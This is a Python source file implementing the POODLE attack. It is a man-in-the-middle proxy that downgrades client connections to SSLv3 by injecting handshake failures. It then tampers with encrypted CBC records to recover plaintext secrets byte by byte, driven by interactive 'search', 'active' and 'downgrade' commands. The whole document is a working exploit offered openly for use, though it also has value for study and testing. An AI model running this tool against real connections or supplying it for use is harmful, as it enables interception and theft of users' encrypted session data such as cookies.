#!/usr/bin/env python
# -*- coding: utf-8 -*-

'''
    Poodle  attack implementation
    Author: mpgn <martial.puygrenier@gmail.com>
    Created: 03/2018 - Python3
    License: MIT
'''

import argparse
import binascii
import os
import re
import select
import socket
import socketserver
import struct
import sys
import threading

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
    MAJ = '\033[45m'
    BLUE = '\033[44m'
    ORANGE = '\033[43m'
    CYAN = '\033[46m'
    RED = '\033[41m'
    GREEN = '\033[42m'
    YELLOW = '\033[100m'

class Poodle():

    def __init__(self):
        self.length_block = 8
        self.length_block_found = False
        self.first_packet_found = False
        self.find_block_length = False
        self.first_packet = ''
        self.ssl_header = ''
        self.frame = ''
        self.data_altered = False
        self.decipherable = False
        self.count = 0
        self.decipher_byte = ""
        self.secret = []
        self.length_request = 0
        self.current_block = args.start_block
        self.secret_block = []
        self.packet_count = 0
        self.downgrade = False
        self.length_previous_block = 0

    def exploit(self, content_type, version, length, data):
        # if data and the data is not a favicon check #7
        if content_type == 23 and length > 24 and length >= len(self.first_packet):
            traffic.favicon = True
            # save the first packet, so we can generate a wrong HMAC when we want
            # TODO : remove this and just alter the last byte of the packet when length of the
            #       block is found
            if self.first_packet_found == False:
                self.first_packet = data
                self.ssl_header = struct.pack('>BHH', content_type, version, length)
                self.first_packet_found = True
            # find the length of a block and return an HMAC error when we find the length
            if self.find_block_length == True:
                if poodle.find_size_of_block(length) == 1:
                    return self.first_packet, self.ssl_header
            # exploit exploit exploit
            if self.length_block_found == True:
                self.data_altered = True
                if args.stop_block == 0:
                    self.total_block = (len(data)/self.length_block)-2
                else:
                    self.total_block = args.stop_block

                request = self.split_len(binascii.hexlify(data), 16)

                request[-1] = request[self.current_block]
                pbn = request[-2]
                pbi = request[self.current_block - 1]
                self.decipher_byte = chr((self.length_block-1) ^ int(pbn[-2:],16) ^ int(pbi[-2:],16))
                sys.stdout.write("\r[+] Sending request \033[36m%3d\033[0m - Block %d/%d : [%*s]" % (self.count, self.current_block, self.total_block, self.length_block, ''.join(self.secret_block[::-1])))
                sys.stdout.flush()
                data = binascii.unhexlify(b''.join(request))

        return data, struct.pack('>BHH', content_type, version, length)

    def decipher(self):
        self.secret_block.append(self.decipher_byte.encode("unicode_escape").decode("utf-8"))
        sys.stdout.write("\r[+] Sending request \033[36m%3d\033[0m - Block %d/%d : [%*s]" % (self.count, self.current_block, self.total_block, self.length_block, ''.join(self.secret_block[::-1])))
        sys.stdout.flush()
        if len(self.secret_block) == self.length_block and self.current_block < (self.total_block):
            print('')
            self.secret += self.secret_block[::-1]
            self.current_block = self.current_block + 1
            self.secret_block = []
        elif len(self.secret_block) == self.length_block and self.current_block == self.total_block:
            # stop the attack and go to passive mode
            self.secret += self.secret_block[::-1]
            self.secret_block = []
            poodle.length_block_found = False
            print('\nStopping the attack...')

    def decipher2(self):
        print(self.decipher_byte.encode("unicode_escape").decode("utf-8"))

    def split_len(self, seq, length):
        return [seq[i:i+length] for i in range(0, len(seq), length)]

    def find_size_of_block(self, length_current_block):
        print(str(length_current_block), str(self.length_previous_block), str(length_current_block - self.length_previous_block))
        if (length_current_block - self.length_previous_block) == 8 or (length_current_block - self.length_previous_block) == 16:
            print("CBC block size " + str(length_current_block - self.length_previous_block))
            self.length_block = length_current_block - self.length_previous_block
            return 1
        else:
            self.length_previous_block = length_current_block
        return 0

class Traffic():
    def __init__(self):
        self.protocol_all = { 768:[' SSLv3.0 ',bcolors.RED], 769:[' TLSv1.0 ',bcolors.GREEN], 770:[' TLSv1.1 ',bcolors.GREEN], 771:[' TLSv1.2 ',bcolors.GREEN], 772:[' TLSv1.3 ',bcolors.GREEN]}
        self.protocol_current = ''
        self.protocol_current_color = bcolors.GREEN
        self.protocol_downgrade = 0
        self.favicon = False

    def info_traffic(self, color1, protocol, color2, status):
        print(''.rjust(int(columns)-20) + color1 + bcolors.BOLD + protocol + color2 + bcolors.BOLD + status + bcolors.ENDC)

class ProxyTCPHandler(socketserver.BaseRequestHandler):
    """ 
    The proxy respond to the CONNECT packet then just forward SSL packet to the server
    or the client. When active mode is enabled, the proxy alter the encrypted data send
    to the serveur
    """
    def handle(self):
    
        # Connection to the secure server
        socket_server = socket.create_connection((args.server, args.rport))
        # input allow us to monitor the socket of the client and the server
        inputs = [socket_server, self.request]
        running = True
        connect = args.simpleProxy
        while running:
            readable = select.select(inputs, [], [])[0]
            for source in readable:
                if source is socket_server:
                    try:
                        data = socket_server.recv(1024)
                    except socket.error as err:
                        running = False
                        break
                    # print 'Server -> proxy -> client'
                    if len(data) == 0:
                        running = False
                        break
                    (content_type, version, length) = struct.unpack('>BHH', data[0:5])
                    
                    if poodle.data_altered == True:
                        poodle.count = poodle.count + 1
                        if content_type == 23:
                            # 23 -> Application data (no HMAC error)
                            poodle.decipher()
                            poodle.count = 0
                        # elif content_type == 21:
                            # 21 -> HMAC error
                        poodle.data_altered = False
                    poodle.packet_count += 1
                    if poodle.find_block_length == False and poodle.length_block_found == False and poodle.downgrade == False:
                        sys.stdout.write("\r[OK] -> packed send and receive %3s %s %s" % (poodle.packet_count, ''.rjust(int(columns)-56), traffic.protocol_current_color + traffic.protocol_current + bcolors.BLUE + bcolors.BOLD + ' passive  ' + bcolors.ENDC))
                        # cursor at the end, tssss
                        sys.stdout.write("\r[OK] -> packed send and receive %3s" % (poodle.packet_count))
                        sys.stdout.flush()
                    if poodle.downgrade == True and traffic.protocol_current != ' SSLv3.0 ' and traffic.protocol_downgrade == 0:
                        print("Sending handshake failure")
                        self.request.send(binascii.unhexlify("15030000020228"))
                        traffic.protocol_downgrade = 1
                        poodle.downgrade == False
                    else:
                        # we send data to the client
                        self.request.send(data)

                elif source is self.request:
                    if connect == True:
                        # print 'Client -> proxy'
                        data =  self.request.recv(1024)
                        connect = False
                        if 'CONNECT' in str(data):
                            data = "HTTP/1.0 200 Connection established\r\n\r\n"
                            self.request.send(data.encode())
                            break
                    else:
                        # print 'Client -> proxy -> server'
                        try:
                            ssl_header = self.request.recv(5)
                        except struct.error as err:
                            break
                        if ssl_header == '':
                            running = False
                            break
                        try:
                            (content_type, version, length) = struct.unpack('>BHH', ssl_header)
                            # print("client -> server", str(content_type), str(version), str(length))
                            try:
                                traffic.protocol_current = traffic.protocol_all[version][0]
                                traffic.protocol_current_color = traffic.protocol_all[version][1]
                            except KeyError as err:
                                # avoid error if the protocol is SSLv2.0
                                traffic.protocol_current = traffic.protocol_all[length][0]
                                traffic.protocol_current_color = traffic.protocol_all[length][1]
                        except struct.error as err:
                            # avoid error in chrome browser
                            return
                        if traffic.protocol_downgrade == 1 and content_type == 23:
                            traffic.info_traffic(traffic.protocol_current_color,traffic.protocol_current,bcolors.YELLOW, ' downgrade ')
                            traffic.protocol_downgrade = 0
                        data = self.request.recv(length)
                        (data, ssl_header) = poodle.exploit(content_type, version, length, data)
                        data_full = ssl_header+data
                        # we send data to the server
                        poodle.packet_count += 1
                        socket_server.send(data_full)
        return

if __name__ == '__main__':
    
    parser = argparse.ArgumentParser(description='Poodle Exploit by @mpgn_x64')
    parser.add_argument('proxy', help='ip of the proxy')
    parser.add_argument('port', type=int, help='port of the proxy')
    parser.add_argument('server', help='ip of the remote server')
    parser.add_argument('rport', type=int, help='port of the remote server')
    parser.add_argument('--start-block', type=int, default=1, help='start the attack at this block')
    parser.add_argument('--stop-block', type=int, default=0, help='stop the attack at this block')
    parser.add_argument('--simpleProxy', type=int, default=0, help='Direct proxy, no ARP spoofing attack')
    args = parser.parse_args()

    rows, columns = os.popen('stty size', 'r').read().split()
    # Create server and bind to set ip
    poodle = Poodle()
    socketserver.TCPServer.allow_reuse_address = True
    httpd = socketserver.TCPServer((args.proxy, args.port), ProxyTCPHandler)
    proxy = threading.Thread(target=httpd.serve_forever)
    proxy.daemon=True
    proxy.start()

    traffic = Traffic()

    print('Proxy is launched on {!r} port {}'.format(args.proxy, args.port))
    print('Passive mode enabled by default')

    print('\nType help to show all command line, ' + bcolors.BLUE + bcolors.BOLD + 'passive' + bcolors.ENDC + ' mode is by default enabled\n')
    #print(''.rjust(int(columns)-9) + bcolors.BLUE + bcolors.BOLD + ' passive ' + bcolors.ENDC)

    while True:
        try:
            input_u = input(bcolors.BOLD + "> " + bcolors.ENDC)
            if input_u == 'active':
                print('Active mode enabled, waiting for data... sendAttack()')
                poodle.find_block_length = False
                poodle.length_block_found = True
                poodle.downgrade = False
                traffic.info_traffic(traffic.protocol_current_color,traffic.protocol_current,bcolors.MAJ, '  active   ')
            elif input_u == 'search':
                print('Waiting for data... findlengthblock()')
                poodle.find_block_length = True
                poodle.length_block_found = False
                poodle.downgrade = False
                traffic.info_traffic(traffic.protocol_current_color,traffic.protocol_current,bcolors.ORANGE, '  search   ')
            elif input_u == 'downgrade':
                print('Downgrade the protocol to SSLv3')
                poodle.downgrade = True
            elif input_u == "passive":
                print('Passive mode enabled')
                poodle.find_block_length = False
                poodle.length_block_found = False
                poodle.length_block = 8
                poodle.downgrade = False
                traffic.info_traffic(traffic.protocol_current_color,traffic.protocol_current,bcolors.BLUE, '  passive  ')
            elif input_u == "help":
                print('~~~~Help command line~~~~\n')
                print(bcolors.BOLD + 'downgrade' + bcolors.ENDC + ': downgrade the protocol to SSLv3 (not working on firefox)')
                print(bcolors.BOLD + 'search' + bcolors.ENDC + ': find the block length (8 or 16). Use the command findlengthblock() in JS after launch this command')
                print(bcolors.BOLD + 'active' + bcolors.ENDC + ': active mode alter the data. Use the command sendAttack() in the JS after launch this command ')
                print(bcolors.BOLD + 'passive' + bcolors.ENDC + ': passive mode does not alter the data. Use the command reset() in the JS after launch this command ')
                print(bcolors.BOLD + 'exit' + bcolors.ENDC + ': show deciphered byte and exit the program properly')
            elif input_u == "exit":
                print("Exiting...")
                break
        except KeyboardInterrupt:
            print("Exiting...")
            print("Stopping proxy... bye bye")
            break

    print("\n\033[32m{-} Deciphered plaintext\033[0m :", ('').join(poodle.secret))
